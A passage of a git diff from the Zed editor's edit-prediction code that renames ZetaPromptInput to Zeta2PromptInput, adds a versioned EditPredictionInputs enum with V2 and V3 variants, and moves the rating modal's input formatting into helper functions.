index a28480a1141ee4..349fc308318c3e 100644
--- a/crates/edit_prediction/src/fim.rs
+++ b/crates/edit_prediction/src/fim.rs
@@ -1,5 +1,5 @@
 use crate::{
-    EditPredictionId, EditPredictionModelInput, cursor_excerpt,
+    EditPredictionId, EditPredictionInputs, EditPredictionModelInput, cursor_excerpt,
     open_ai_compatible::{self, load_open_ai_compatible_api_key_if_needed},
     prediction::EditPredictionResult,
 };
@@ -10,7 +10,7 @@ use language::{
     language_settings::all_language_settings,
 };
 use std::{path::Path, sync::Arc, time::Instant};
-use zeta_prompt::{ZetaPromptInput, compute_editable_and_context_ranges};
+use zeta_prompt::{Zeta2PromptInput, compute_editable_and_context_ranges};
 
 const FIM_CONTEXT_TOKENS: usize = 512;
 
@@ -19,7 +19,7 @@ struct FimRequestOutput {
     edits: Vec<(std::ops::Range<Anchor>, Arc<str>)>,
     editable_range: std::ops::Range<Anchor>,
     snapshot: BufferSnapshot,
-    inputs: ZetaPromptInput,
+    inputs: Zeta2PromptInput,
     buffer: Entity<Buffer>,
 }
 
@@ -78,7 +78,7 @@ pub fn request_prediction(
             0,
         );
 
-        let inputs = ZetaPromptInput {
+        let inputs = Zeta2PromptInput {
             events,
             related_files: Some(Vec::new()),
             active_buffer_diagnostics: Vec::new(),
@@ -154,7 +154,7 @@ pub fn request_prediction(
                 output.edits.into(),
                 None,
                 Some(output.editable_range),
-                output.inputs,
+                EditPredictionInputs::V2(output.inputs),
                 None,
                 trigger,
                 cx.background_executor().now() - request_start,
diff --git a/crates/edit_prediction/src/mercury.rs b/crates/edit_prediction/src/mercury.rs
index e835b6ece84aee..986d708b1104f7 100644
--- a/crates/edit_prediction/src/mercury.rs
+++ b/crates/edit_prediction/src/mercury.rs
@@ -1,7 +1,7 @@
 use crate::{
-    DebugEvent, EditPredictionFinishedDebugEvent, EditPredictionId, EditPredictionModelInput,
-    EditPredictionStartedDebugEvent, EditPredictionStore, open_ai_response::text_from_response,
-    prediction::EditPredictionResult, zeta::compute_edits,
+    DebugEvent, EditPredictionFinishedDebugEvent, EditPredictionId, EditPredictionInputs,
+    EditPredictionModelInput, EditPredictionStartedDebugEvent, EditPredictionStore,
+    open_ai_response::text_from_response, prediction::EditPredictionResult, zeta::compute_edits,
 };
 use anyhow::{Context as _, Result};
 use cloud_llm_client::EditPredictionRejectReason;
@@ -16,7 +16,7 @@ use language_model::{ApiKeyState, EnvVar, env_var};
 use release_channel::AppVersion;
 use serde::{Deserialize, Serialize};
 use std::{mem, ops::Range, path::Path, sync::Arc};
-use zeta_prompt::ZetaPromptInput;
+use zeta_prompt::Zeta2PromptInput;
 
 const MERCURY_API_URL: &str = "https://api.inceptionlabs.ai/v1/edit/completions";
 
@@ -103,7 +103,7 @@ impl Mercury {
                 + excerpt_ranges.editable_350.start)
                 ..(excerpt_offset_range.start + excerpt_ranges.editable_350.end);
 
-            let inputs = zeta_prompt::ZetaPromptInput {
+            let inputs = zeta_prompt::Zeta2PromptInput {
                 events,
                 related_files: Some(related_files),
                 cursor_offset_in_excerpt: cursor_point.to_offset(&snapshot)
@@ -255,7 +255,7 @@ impl Mercury {
                     edits.into(),
                     None,
                     Some(editable_range),
-                    inputs,
+                    EditPredictionInputs::V2(inputs),
                     None,
                     trigger,
                     cx.background_executor().now() - request_start,
@@ -267,7 +267,7 @@ impl Mercury {
     }
 }
 
-fn build_prompt(inputs: &ZetaPromptInput) -> String {
+fn build_prompt(inputs: &Zeta2PromptInput) -> String {
     const RECENTLY_VIEWED_SNIPPETS_START: &str = "<|recently_viewed_code_snippets|>\n";
     const RECENTLY_VIEWED_SNIPPETS_END: &str = "<|/recently_viewed_code_snippets|>\n";
     const RECENTLY_VIEWED_SNIPPET_START: &str = "<|recently_viewed_code_snippet|>\n";
diff --git a/crates/edit_prediction/src/prediction.rs b/crates/edit_prediction/src/prediction.rs
index b9d41c44ea7309..ca6379fa6eecf5 100644
--- a/crates/edit_prediction/src/prediction.rs
+++ b/crates/edit_prediction/src/prediction.rs
@@ -4,7 +4,7 @@ use cloud_llm_client::{EditPredictionRejectReason, PredictEditsRequestTrigger};
 use edit_prediction_types::{PredictedCursorPosition, interpolate_edits};
 use gpui::{AsyncApp, Entity, SharedString};
 use language::{Anchor, Buffer, BufferSnapshot, EditPreview, TextBufferSnapshot};
-use zeta_prompt::ZetaPromptInput;
+use zeta_prompt::{Zeta2PromptInput, Zeta3PromptInput};
 
 #[derive(Clone, Default, Debug, PartialEq, Eq, Hash)]
 pub struct EditPredictionId(pub SharedString);
@@ -21,6 +21,13 @@ impl std::fmt::Display for EditPredictionId {
     }
 }
 
+#[derive(Clone, serde::Serialize)]
+#[serde(tag = "version", content = "input")]
+pub enum EditPredictionInputs {
+    V2(Zeta2PromptInput),
+    V3(Zeta3PromptInput),
+}
+
 /// A prediction response that was returned from the provider, whether it was ultimately valid or not.
 pub struct EditPredictionResult {
     pub prediction: EditPrediction,
@@ -36,7 +43,7 @@ impl EditPredictionResult {
         edits: Arc<[(Range<Anchor>, Arc<str>)]>,
         cursor_position: Option<PredictedCursorPosition>,
         editable_range: Option<Range<Anchor>>,
-        inputs: ZetaPromptInput,
+        inputs: EditPredictionInputs,
         model_version: Option<String>,
         trigger: PredictEditsRequestTrigger,
         e2e_latency: std::time::Duration,
@@ -99,8 +106,8 @@ pub struct EditPrediction {
     pub editable_range: Option<Range<Anchor>>,
     pub snapshot: BufferSnapshot,
     pub edit_preview: EditPreview,
+    pub inputs: EditPredictionInputs,
     pub buffer: Entity<Buffer>,
-    pub inputs: zeta_prompt::ZetaPromptInput,
     pub model_version: Option<String>,
     pub trigger: PredictEditsRequestTrigger,
 }
@@ -134,7 +141,7 @@ mod tests {
     use super::*;
     use gpui::{App, Entity, TestAppContext, prelude::*};
     use language::{Buffer, ToOffset as _};
-    use zeta_prompt::ZetaPromptInput;
+    use zeta_prompt::Zeta2PromptInput;
 
     #[gpui::test]
     async fn test_edit_prediction_basic_interpolation(cx: &mut TestAppContext) {
@@ -157,7 +164,7 @@ mod tests {
             edit_preview,
             model_version: None,
             trigger: PredictEditsRequestTrigger::Other,
-            inputs: ZetaPromptInput {
+            inputs: EditPredictionInputs::V2(Zeta2PromptInput {
                 events: vec![],
                 related_files: Some(vec![]),
                 active_buffer_diagnostics: vec![],
@@ -170,7 +177,7 @@ mod tests {
                 in_open_source_repo: false,
                 can_collect_data: false,
                 repo_url: None,
-            },
+            }),
         };
 
         cx.update(|cx| {
diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index 321ab27c027627..cff9bb4d858742 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -1,8 +1,8 @@
 use crate::{
     CloudRequestTimeoutError, CurrentEditPrediction, DebugEvent, EditPredictionFinishedDebugEvent,
-    EditPredictionId, EditPredictionModelInput, EditPredictionStartedDebugEvent,
-    EditPredictionStore, PromptHistoryBoundary, ZedUpdateRequiredError,
-    buffer_path_with_id_fallback,
+    EditPredictionId, EditPredictionInputs, EditPredictionModelInput,
+    EditPredictionStartedDebugEvent, EditPredictionStore, PromptHistoryBoundary,
+    ZedUpdateRequiredError, buffer_path_with_id_fallback,
     cursor_excerpt::{self, compute_cursor_excerpt, compute_syntax_ranges},
     data_collection::CapturedPredictionContext,
     prediction::EditPredictionResult,
@@ -24,7 +24,7 @@ use workspace::workspace_error::{ErrorAction, ErrorSeverity, WorkspaceError};
 
 use std::{ops::Range, path::Path, sync::Arc};
 use zeta_prompt::{
-    ParsedOutput, ZetaFormat, ZetaPromptInput, excerpt_ranges_for_format, format_zeta_prompt,
+    ParsedOutput, Zeta2PromptInput, ZetaFormat, excerpt_ranges_for_format, format_zeta_prompt,
     get_prefill, parse_zeta2_model_output, stop_tokens_for_format,
     zeta1::{self, EDITABLE_REGION_END_MARKER},
 };
@@ -84,7 +84,7 @@ pub(crate) fn request_prediction_with_zeta(
     let app_version = AppVersion::global(cx);
 
     struct Prediction {
-        prompt_input: ZetaPromptInput,
+        prompt_input: Zeta2PromptInput,
         buffer: Entity<Buffer>,
         snapshot: BufferSnapshot,
         edits: Vec<(Range<Anchor>, Arc<str>)>,
@@ -396,7 +396,7 @@ pub(crate) fn request_prediction_with_zeta(
             edits.into(),
             cursor_position,
             Some(editable_anchor_range),
-            inputs,
+            EditPredictionInputs::V2(inputs),
             model_version,
             trigger,
             request_duration,
@@ -602,7 +602,7 @@ pub fn zeta2_prompt_input(
     is_open_source: bool,
     can_collect_data: bool,
     repo_url: Option<String>,
-) -> (Range<usize>, zeta_prompt::ZetaPromptInput) {
+) -> (Range<usize>, zeta_prompt::Zeta2PromptInput) {
     let (excerpt_point_range, excerpt_offset_range, cursor_offset_in_excerpt) =
         compute_cursor_excerpt(snapshot, cursor_offset);
 
@@ -624,7 +624,7 @@ pub fn zeta2_prompt_input(
         ACTIVE_BUFFER_DIAGNOSTIC_ADDITIONAL_CONTEXT_TOKEN_COUNT,
     );
 
-    let prompt_input = zeta_prompt::ZetaPromptInput {
+    let prompt_input = zeta_prompt::Zeta2PromptInput {
         cursor_path: excerpt_path,
         cursor_excerpt,
         cursor_offset_in_excerpt,
diff --git a/crates/edit_prediction_cli/src/example.rs b/crates/edit_prediction_cli/src/example.rs
index bce5b2bc2a514a..f7e2f298bf95a8 100644
--- a/crates/edit_prediction_cli/src/example.rs
+++ b/crates/edit_prediction_cli/src/example.rs
@@ -16,7 +16,7 @@ use std::{
     io::Read,
     path::{Path, PathBuf},
 };
-use zeta_prompt::ZetaPromptInput;
+use zeta_prompt::Zeta2PromptInput;
 
 #[derive(Clone, Debug, Serialize, Deserialize)]
 pub struct Example {
@@ -26,7 +26,7 @@ pub struct Example {
     /// The full content of the file where an edit is being predicted, and the
     /// actual cursor offset.
     #[serde(skip_serializing_if = "Option::is_none")]
-    pub prompt_inputs: Option<ZetaPromptInput>,
+    pub prompt_inputs: Option<Zeta2PromptInput>,
 
     /// The input and expected output from the edit prediction model.
     #[serde(skip_serializing_if = "Option::is_none")]
diff --git a/crates/edit_prediction_cli/src/format_prompt.rs b/crates/edit_prediction_cli/src/format_prompt.rs
index 23c9c7dde1126a..b7a752f96b2c43 100644
--- a/crates/edit_prediction_cli/src/format_prompt.rs
+++ b/crates/edit_prediction_cli/src/format_prompt.rs
@@ -10,14 +10,14 @@ use gpui::AsyncApp;
 use std::ops::Range;
 use std::sync::Arc;
 use zeta_prompt::{
-    ZetaFormat, ZetaPromptInput, format_edit_history_within_budget, format_expected_output,
+    Zeta2PromptInput, ZetaFormat, format_edit_history_within_budget, format_expected_output,
     format_zeta_prompt,
     hashed_regions::{self, SnippetMarkers},
     max_edit_event_count_for_format, resolve_cursor_region,
 };
 
 fn resolved_excerpt_ranges_for_format(
-    input: &zeta_prompt::ZetaPromptInput,
+    input: &zeta_prompt::Zeta2PromptInput,
     format: ZetaFormat,
 ) -> (Range<usize>, Range<usize>) {
     let (_, editable_range_in_context, context_range, _) = resolve_cursor_region(input, format);
@@ -457,7 +457,7 @@ impl TeacherJumpsPrompt {
         Ok((patch, actual_cursor))
     }
 
-    fn format_edit_history(prompt_inputs: &ZetaPromptInput) -> String {
+    fn format_edit_history(prompt_inputs: &Zeta2PromptInput) -> String {
         format_edit_history_within_budget(
             &prompt_inputs.events,
             "",
@@ -473,7 +473,7 @@ impl TeacherJumpsPrompt {
     /// is skipped: it renders in its own prompt section via
     /// `format_cursor_excerpt`, and including it here would duplicate it.
     fn format_context(
-        prompt_inputs: &ZetaPromptInput,
+        prompt_inputs: &Zeta2PromptInput,
         marker_table: &[SnippetMarkers],
         max_tokens: usize,
         cursor_file_ix: usize,
@@ -601,7 +601,7 @@ impl TeacherJumpsPrompt {
     /// content appears in the prompt exactly once.
     fn format_cursor_excerpt(
         example: &Example,
-        prompt_inputs: &ZetaPromptInput,
+        prompt_inputs: &Zeta2PromptInput,
         marker_table: &[SnippetMarkers],
         cursor: &hashed_regions::RelatedFileCursor,
     ) -> Result<String> {
@@ -841,7 +841,7 @@ mod tests {
                 human_feedback: Vec::new(),
                 rating: None,
             },
-            prompt_inputs: Some(zeta_prompt::ZetaPromptInput {
+            prompt_inputs: Some(zeta_prompt::Zeta2PromptInput {
                 cursor_path: std::path::Path::new("src/main.rs").into(),
                 cursor_excerpt: cursor_excerpt.into(),
                 cursor_offset_in_excerpt: cursor_offset,
@@ -1598,7 +1598,7 @@ mod tests {
             .map(|index| format!("line{index:02}\n"))
             .collect::<String>();
         let cursor_offset = excerpt.find("line40").expect("cursor line exists");
-        let prompt_inputs = zeta_prompt::ZetaPromptInput {
+        let prompt_inputs = zeta_prompt::Zeta2PromptInput {
             cursor_path: std::path::Path::new("src/main.rs").into(),
             cursor_excerpt: excerpt.clone().into(),
             cursor_offset_in_excerpt: cursor_offset,
diff --git a/crates/edit_prediction_cli/src/load_project.rs b/crates/edit_prediction_cli/src/load_project.rs
index f370f013ff061e..cdb69fe09e90d9 100644
--- a/crates/edit_prediction_cli/src/load_project.rs
+++ b/crates/edit_prediction_cli/src/load_project.rs
@@ -15,7 +15,7 @@ use gpui::{AsyncApp, Entity};
 use language::{Anchor, Buffer, LanguageNotFound, ToOffset};
 use project::{Project, ProjectPath, buffer_store::BufferStoreEvent};
 use std::{fs, path::PathBuf, sync::Arc};
-use zeta_prompt::ZetaPromptInput;
+use zeta_prompt::Zeta2PromptInput;
 
 pub async fn run_load_project(
     example: &mut Example,
@@ -96,7 +96,7 @@ pub async fn run_load_project(
         );
 
         (
-            ZetaPromptInput {
+            Zeta2PromptInput {
                 cursor_path: example.spec.cursor_path.clone(),
                 cursor_excerpt,
                 cursor_offset_in_excerpt,
diff --git a/crates/edit_prediction_cli/src/pull_examples.rs b/crates/edit_prediction_cli/src/pull_examples.rs
index 15171c6feb92bb..2d3c0652def40d 100644
--- a/crates/edit_prediction_cli/src/pull_examples.rs
+++ b/crates/edit_prediction_cli/src/pull_examples.rs
@@ -12,7 +12,7 @@ use std::sync::Arc;
 use std::time::Duration;
 use telemetry_events::EditPredictionRating;
 
-use zeta_prompt::{ZetaFormat, ZetaPromptInput, excerpt_range_for_format};
+use zeta_prompt::{Zeta2PromptInput, ZetaFormat, excerpt_range_for_format};
 
 use crate::PredictionProvider;
 use crate::example::{Example, ExamplePrediction, ExamplePrompt};
@@ -1130,7 +1130,7 @@ fn rated_examples_from_response<'a>(
 
             let request_id = get_string("request_id");
             let inputs_json = get_json("inputs");
-            let inputs: Option<ZetaPromptInput> = match &inputs_json {
+            let inputs: Option<Zeta2PromptInput> = match &inputs_json {
                 Some(v) => match serde_json::from_value(v.clone()) {
                     Ok(parsed) => Some(parsed),
                     Err(e) => {
@@ -1188,7 +1188,7 @@ fn build_rated_example(
     request_id: Option<String>,
     device_id: String,
     time: String,
-    input: ZetaPromptInput,
+    input: Zeta2PromptInput,
     output: String,
     settled_editable_region: Option<String>,
     rating: String,
@@ -1296,7 +1296,7 @@ fn requested_examples_from_response<'a>(
             let device_id = get_string("device_id");
             let time = get_string("time");
             let input_json = get_json("input");
-            let input: Option<ZetaPromptInput> =
+            let input: Option<Zeta2PromptInput> =
                 input_json.clone().and_then(|v| serde_json::from_value(v).ok());
             let zed_version = get_string("zed_version");
 
@@ -1376,7 +1376,7 @@ fn settled_examples_from_response<'a>(
             let time = get_string("time");
             let input_raw = get_value("input");
             let input_json = parse_json_value(input_raw.as_ref());
-            let input: Option<ZetaPromptInput> = input_json
+            let input: Option<Zeta2PromptInput> = input_json
                 .as_ref()
                 .and_then(|parsed| serde_json::from_value(parsed.clone()).ok());
             let requested_output = get_string("requested_output");
@@ -1497,7 +1497,7 @@ fn captured_examples_from_response<'a>(
             let time = get_string("time");
             let input_raw = get_value("input");
             let input_json = parse_json_value(input_raw.as_ref());
-            let input: Option<ZetaPromptInput> = input_json
+            let input: Option<Zeta2PromptInput> = input_json
                 .as_ref()
                 .and_then(|parsed| serde_json::from_value(parsed.clone()).ok());
             let example_raw = get_value("example");
@@ -1580,7 +1580,7 @@ fn build_settled_example(
     request_id: String,
     device_id: String,
     time: String,
-    input: ZetaPromptInput,
+    input: Zeta2PromptInput,
     requested_output: String,
     settled_editable_region: String,
     requested_format: ZetaFormat,
@@ -1636,7 +1636,7 @@ fn build_captured_example(
     request_id: String,
     device_id: String,
     time: String,
-    input: ZetaPromptInput,
+    input: Zeta2PromptInput,
     mut example_spec: ExampleSpec,
     settled_editable_region: String,
     zed_version: Option<String>,
@@ -1721,7 +1721,7 @@ fn rejected_examples_from_response<'a>(
             let device_id = get_string("device_id");
             let time = get_string("time");
             let input_json = get_json("input");
-            let input: Option<ZetaPromptInput> =
+            let input: Option<Zeta2PromptInput> =
                 input_json.clone().and_then(|v| serde_json::from_value(v).ok());
             let prompt = get_string("prompt");
             let output = get_string("output");
@@ -1768,7 +1768,7 @@ fn build_rejected_example(
     request_id: String,
     device_id: String,
     time: String,
-    input: ZetaPromptInput,
+    input: Zeta2PromptInput,
     prompt: Option<String>,
     output: String,
     settled_editable_region: Option<String>,
@@ -1872,7 +1872,7 @@ fn accepted_examples_from_response<'a>(
             let device_id = get_string("device_id");
             let time = get_string("time");
             let input_json = get_json("input");
-            let input: Option<ZetaPromptInput> =
+            let input: Option<Zeta2PromptInput> =
                 input_json.clone().and_then(|v| serde_json::from_value(v).ok());
             let prompt = get_string("prompt");
             let output = get_string("output");
@@ -1913,7 +1913,7 @@ fn build_accepted_example(
     request_id: String,
     device_id: String,
     time: String,
-    input: ZetaPromptInput,
+    input: Zeta2PromptInput,
     prompt: Option<String>,
     output: String,
     settled_editable_region: Option<String>,
@@ -1970,7 +1970,7 @@ fn build_example_from_snowflake(
     request_id: String,
     device_id: String,
     time: String,
-    input: ZetaPromptInput,
+    input: Zeta2PromptInput,
     tags: Vec<String>,
     rejection: Option<RejectionInfo>,
     zed_version: Option<String>,
diff --git a/crates/edit_prediction_cli/src/score.rs b/crates/edit_prediction_cli/src/score.rs
index 5a0f763d04953d..e911f0302730b1 100644
--- a/crates/edit_prediction_cli/src/score.rs
+++ b/crates/edit_prediction_cli/src/score.rs
@@ -202,7 +202,7 @@ pub fn run_context_coverage_scoring(
 
 fn context_excerpts(
     _example: &Example,
-    prompt_inputs: &zeta_prompt::ZetaPromptInput,
+    prompt_inputs: &zeta_prompt::Zeta2PromptInput,
     retrieved_context_byte_limit: Option<usize>,
     context_source_filter: Option<&[ContextSource]>,
 ) -> Vec<Excerpt> {
@@ -836,7 +836,7 @@ mod tests {
     use edit_prediction::example_spec::ExampleSpec;
     use edit_prediction_metrics::PredictionScore;
     use std::path::Path;
-    use zeta_prompt::{ExcerptRanges, RelatedExcerpt, ZetaPromptInput};
+    use zeta_prompt::{ExcerptRanges, RelatedExcerpt, Zeta2PromptInput};
 
     #[test]
     fn summary_includes_limited_filtered_retrieved_context_bytes_once_per_example() {
@@ -889,7 +889,7 @@ mod tests {
                 human_feedback: Vec::new(),
                 rating: None,
             },
-            prompt_inputs: Some(ZetaPromptInput {
+            prompt_inputs: Some(Zeta2PromptInput {
                 cursor_path: Path::new("project/src/main.rs").into(),
                 cursor_excerpt: "".into(),
                 cursor_offset_in_excerpt: 0,
diff --git a/crates/edit_prediction_metrics/src/reversal.rs b/crates/edit_prediction_metrics/src/reversal.rs
index 8b1a6e5e634dec..80fdc40d53f0e0 100644
--- a/crates/edit_prediction_metrics/src/reversal.rs
+++ b/crates/edit_prediction_metrics/src/reversal.rs
@@ -797,10 +797,10 @@ mod tests {
     use super::*;
     use indoc::indoc;
     use zeta_prompt::udiff::{apply_diff_to_string, unified_diff_with_context};
-    use zeta_prompt::{ExcerptRanges, ZetaPromptInput};
+    use zeta_prompt::{ExcerptRanges, Zeta2PromptInput};
 
     fn compute_prediction_reversal_ratio(
-        prompt_inputs: &ZetaPromptInput,
+        prompt_inputs: &Zeta2PromptInput,
         predicted_content: &str,
         cursor_path: &Path,
     ) -> f32 {
@@ -817,8 +817,8 @@ mod tests {
         content: &str,
         events: Vec<Arc<zeta_prompt::Event>>,
         excerpt_start_row: Option<u32>,
-    ) -> ZetaPromptInput {
-        ZetaPromptInput {
+    ) -> Zeta2PromptInput {
+        Zeta2PromptInput {
             cursor_path: Arc::from(Path::new("src/test.rs")),
             cursor_excerpt: content.into(),
             cursor_offset_in_excerpt: 0,
diff --git a/crates/edit_prediction_ui/src/rate_prediction_modal.rs b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
index be19ac5a744c99..0dc4c1aaf29755 100644
--- a/crates/edit_prediction_ui/src/rate_prediction_modal.rs
+++ b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
@@ -1,6 +1,8 @@
 use buffer_diff::BufferDiff;
 use cloud_llm_client::PredictEditsRequestTrigger;
-use edit_prediction::{EditPrediction, EditPredictionRating, EditPredictionStore};
+use edit_prediction::{
+    EditPrediction, EditPredictionInputs, EditPredictionRating, EditPredictionStore,
+};
 use editor::{Editor, Inlay, MultiBuffer};
 use feature_flags::{FeatureFlag, PresenceFlag, register_feature_flag};
 use gpui::{
@@ -18,13 +20,14 @@ use project::{
 };
 use settings::Settings as _;
 use std::rc::Rc;
-use std::{fmt::Write, ops::Range, sync::Arc};
+use std::{fmt::Write, ops::Range, path::Path, sync::Arc};
 use theme_settings::ThemeSettings;
 use ui::{
     ContextMenu, DropdownMenu, KeyBinding, List, ListItem, ListItemSpacing, PopoverMenuHandle,
     Tooltip, prelude::*,
 };
 use workspace::{ModalView, Workspace};
+use zeta_prompt::{ContextSource, FilePosition, RelatedExcerpt, RelatedFile, Zeta3PromptInput};
 
 actions!(
     zeta,
@@ -409,6 +412,145 @@ impl RatePredictionsModal {
         Some(format!("{header}{diff_body}"))
     }
 
+    fn write_formatted_inputs(formatted_inputs: &mut String, inputs: &EditPredictionInputs) {
+        match inputs {
+            EditPredictionInputs::V2(inputs) => {
+                Self::write_events(formatted_inputs, &inputs.events);
+                Self::write_related_files(
+                    formatted_inputs,
+                    inputs.related_files.as_deref().unwrap_or_default(),
+                );
+                Self::write_cursor_excerpt(
+                    formatted_inputs,
+                    inputs.cursor_path.as_ref(),
+                    inputs.cursor_excerpt.as_ref(),
+                    inputs.cursor_offset_in_excerpt,
+                );
+            }
+            EditPredictionInputs::V3(inputs) => {
+                Self::write_events(formatted_inputs, &inputs.events);
+                Self::write_related_files(formatted_inputs, &inputs.editable_context);
+                Self::write_zeta3_cursor_excerpt(formatted_inputs, inputs);
+            }
+        }
+    }
+
+    fn write_events(formatted_inputs: &mut String, events: &[Arc<zeta_prompt::Event>]) {
+        write!(formatted_inputs, "## Events\n\n").unwrap();
+
+        for event in events {
+            formatted_inputs.push_str("```diff\n");
+            zeta_prompt::write_event(formatted_inputs, event.as_ref());
+            formatted_inputs.push_str("```\n\n");
+        }
+    }
+
+    fn write_related_files(formatted_inputs: &mut String, included_files: &[RelatedFile]) {
+        write!(formatted_inputs, "## Related files\n\n").unwrap();
+
+        for included_file in included_files {
+            write!(formatted_inputs, "### {}\n\n", included_file.path.display()).unwrap();
+
+            for excerpt in included_file.excerpts.iter() {
+                write!(
+                    formatted_inputs,
+                    "```{}\n{}\n```\n",
+                    included_file.path.display(),
+                    excerpt.text
+                )
+                .unwrap();
+            }
+        }
+    }
+
+    fn write_zeta3_cursor_excerpt(formatted_inputs: &mut String, inputs: &Zeta3PromptInput) {
+        let current_excerpt = inputs
+            .editable_context
+            .iter()
+            .filter(|file| file.path == inputs.cursor_path)
+            .flat_map(|file| file.excerpts.iter())
+            .find_map(|excerpt| {
+                if excerpt.context_source != ContextSource::CurrentFile {
+                    return None;
+                }
+
+                Some((
+                    excerpt,
+                    Self::offset_for_position_in_excerpt(excerpt, inputs.cursor_position)?,
+                ))
+            });
+
+        if let Some((excerpt, cursor_offset)) = current_excerpt {
+            Self::write_cursor_excerpt(
+                formatted_inputs,
+                inputs.cursor_path.as_ref(),
+                excerpt.text.as_ref(),
+                cursor_offset,
+            );
+        } else {
+            write!(formatted_inputs, "## Cursor Excerpt\n\n").unwrap();
+            writeln!(
+                formatted_inputs,
+                "No current-file excerpt found for `{}` at row {}, column {}.",
+                inputs.cursor_path.display(),
+                inputs.cursor_position.row,
+                inputs.cursor_position.column
+            )
+            .unwrap();
+        }
+    }
+
+    fn write_cursor_excerpt(
+        formatted_inputs: &mut String,
+        cursor_path: &Path,
+        cursor_excerpt: &str,
+        cursor_offset: usize,
+    ) {
+        write!(formatted_inputs, "## Cursor Excerpt\n\n").unwrap();
+
+        let mut cursor_offset = cursor_offset.min(cursor_excerpt.len());
+        while !cursor_excerpt.is_char_boundary(cursor_offset) {
+            cursor_offset = cursor_offset.saturating_sub(1);
+        }
+        writeln!(
+            formatted_inputs,
+            "```{}\n{}<CURSOR>{}\n```\n",
+            cursor_path.display(),
+            &cursor_excerpt[..cursor_offset],
+            &cursor_excerpt[cursor_offset..],
+        )
+        .unwrap();
+    }
+
+    fn offset_for_position_in_excerpt(
+        excerpt: &RelatedExcerpt,
+        position: FilePosition,
+    ) -> Option<usize> {
+        if position.row < excerpt.row_range.start {
+            return None;
+        }
+
+        let relative_row = (position.row - excerpt.row_range.start) as usize;
+        let text = excerpt.text.as_ref();
+        let mut row_start = 0;
+
+        for row in 0..=relative_row {
+            if row == relative_row {
+                let row_end = text[row_start..]
+                    .find('\n')
+                    .map_or(text.len(), |offset| row_start + offset);
+                let row_text = &text[row_start..row_end];
+                let column =
+                    row_text.floor_char_boundary((position.column as usize).min(row_text.len()));
+                return Some(row_start + column);
+            }
+
+            row_start += text[row_start..].find('\n')? + 1;
+        }
+
+        None
+    }
+
     pub fn select_completion(
         &mut self,
         prediction: Option<EditPrediction>,
@@ -524,63 +666,7 @@ impl RatePredictionsModal {
             });
 
             let mut formatted_inputs = String::new();
-
-            write!(&mut formatted_inputs, "## Events\n\n").unwrap();
-
-            for event in &prediction.inputs.events {
-                formatted_inputs.push_str("```diff\n");
-                zeta_prompt::write_event(&mut formatted_inputs, event.as_ref());
-                formatted_inputs.push_str("```\n\n");
-            }
-
-            write!(&mut formatted_inputs, "## Related files\n\n").unwrap();
-
-            for included_file in prediction
-                .inputs
-                .related_files
-                .as_deref()
-                .unwrap_or_default()
-                .iter()
-            {
-                write!(
-                    &mut formatted_inputs,
-                    "### {}\n\n",
-                    included_file.path.display()
-                )
-                .unwrap();
-
-                for excerpt in included_file.excerpts.iter() {
-                    write!(
-                        &mut formatted_inputs,
-                        "```{}\n{}\n```\n",
-                        included_file.path.display(),
-                        excerpt.text
-                    )
-                    .unwrap();
-                }
-            }
-
-            write!(&mut formatted_inputs, "## Cursor Excerpt\n\n").unwrap();
-
-            let mut cursor_offset = prediction
-                .inputs
-                .cursor_offset_in_excerpt
-                .min(prediction.inputs.cursor_excerpt.len());
-            while !prediction
-                .inputs
-                .cursor_excerpt
-                .is_char_boundary(cursor_offset)
-            {
-                cursor_offset = cursor_offset.saturating_sub(1);
-            }
-            writeln!(
-                &mut formatted_inputs,
-                "```{}\n{}<CURSOR>{}\n```\n",
-                prediction.inputs.cursor_path.display(),
-                &prediction.inputs.cursor_excerpt[..cursor_offset],
-                &prediction.inputs.cursor_excerpt[cursor_offset..],
-            )
-            .unwrap();
+            Self::write_formatted_inputs(&mut formatted_inputs, &prediction.inputs);
 
             let current_editable_region = editable_range.as_ref().map(|range| {
                 prediction
diff --git a/crates/zeta_prompt/src/hashed_regions.rs b/crates/zeta_prompt/src/hashed_regions.rs
index 59b927e46fae77..44c9ca8bab697d 100644
--- a/crates/zeta_prompt/src/hashed_regions.rs
+++ b/crates/zeta_prompt/src/hashed_regions.rs
@@ -13,7 +13,7 @@
 //! weren't run through current-file retrieval can be normalized with
 //! [`ensure_cursor_file_excerpt`] before rendering or parsing.
 
-use crate::{ContextSource, RelatedExcerpt, RelatedFile, ZetaPromptInput, multi_region, udiff};
+use crate::{ContextSource, RelatedExcerpt, RelatedFile, Zeta2PromptInput, multi_region, udiff};
 use anyhow::{Context as _, Result, anyhow};
 use std::{
     borrow::Cow,
@@ -50,11 +50,11 @@ pub struct SnippetMarkers {
 ///
 /// The assignment is deterministic and independent of any later budget-based
 /// truncation, so the same table can be rebuilt when parsing model output.
-pub fn build_marker_table(input: &ZetaPromptInput) -> Vec<SnippetMarkers> {
+pub fn build_marker_table(input: &Zeta2PromptInput) -> Vec<SnippetMarkers> {
     build_marker_table_with_filter(input, |_| true)
 }
 
-pub fn build_editable_marker_table(input: &ZetaPromptInput) -> Vec<SnippetMarkers> {
+pub fn build_editable_marker_table(input: &Zeta2PromptInput) -> Vec<SnippetMarkers> {
     build_marker_table_with_filter(input, is_hash_region_editable_context_source)
 }
 
@@ -66,7 +66,7 @@ pub fn is_hash_region_editable_context_source(context_source: ContextSource) ->
 }
 
 fn build_marker_table_with_filter(
-    input: &ZetaPromptInput,
+    input: &Zeta2PromptInput,
     include_context_source: impl Fn(ContextSource) -> bool,
 ) -> Vec<SnippetMarkers> {
     let mut used_ids = HashSet::new();
@@ -274,7 +274,7 @@ fn line_start_offset(text: &str, row: usize) -> Option<usize> {
     Some(offset)
 }
 
-pub fn locate_cursor_in_related_files(input: &ZetaPromptInput) -> Option<RelatedFileCursor> {
+pub fn locate_cursor_in_related_files(input: &Zeta2PromptInput) -> Option<RelatedFileCursor> {
     let related_files = input.related_files.as_deref()?;
     let excerpt_start_row = input.excerpt_start_row?;
     let cursor_offset = input.cursor_offset_in_excerpt;
@@ -316,7 +316,7 @@ pub fn locate_cursor_in_related_files(input: &ZetaPromptInput) -> Option<Related
 ///
 /// All hashed-region context — including the current file — is addressed
 /// through `related_files` (see module docs), so a prompt built from a
-/// `ZetaPromptInput` whose `related_files` don't cover the cursor cannot be
